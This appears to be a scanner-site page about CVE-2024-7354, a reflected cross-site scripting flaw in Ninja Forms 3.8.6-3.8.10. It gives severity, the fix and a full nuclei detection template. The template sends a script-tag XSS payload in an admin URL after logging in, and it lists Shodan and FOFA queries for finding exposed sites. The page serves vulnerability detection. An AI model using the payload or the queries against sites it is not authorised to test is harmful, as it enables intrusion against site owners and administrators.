Ninja Forms 3.8.6-3.8.10 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.7%likelihood of exploitation, next 30 days

54%of all CVEs are less likely

Readycheck to confirm it

The Ninja Forms WordPress plugin before 3.8.11 does not escape an URL before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Impact

Attackers can potentially exploit this vulnerability to gain unauthorized access to sensitive information.

Fix

Update the plugin to Latest version. Fixed in 3.8.11.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/plugins/ninja-forms"
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=nf-submissions&"><script>alert(document.domain)</script>=2
Positive when: contains in body_2 "\"><script>alert(document.domain)</script>" AND contains in content_type_2 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-7354 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-7354

info:
  name: Ninja Forms 3.8.6-3.8.10 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Ninja Forms WordPress plugin before 3.8.11 does not escape an URL before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
  impact: |
    Attackers can potentially exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update the plugin to Latest version. Fixed in 3.8.11.
  reference:
    - https://wpscan.com/vulnerability/3c871dcd-51d7-4d3b-b036-efa9e066ff41/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7354
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-7354
    cwe-id: CWE-79
    epss-score: 0.00702
    epss-percentile: 0.53583
    cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: ninjaforms
    product: ninja_forms
    framework: wordpress
    fofa-query: body="/wp-content/plugins/ninja-forms"
    publicwww-query: /wp-content/plugins/ninja-forms/
    shodan-query: http.html:"/wp-content/plugins/ninja-forms/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,ninja-forms,xss,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/ninja-forms"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=nf-submissions&"><script>alert(document.domain)</script>=2 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: content_type_2
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from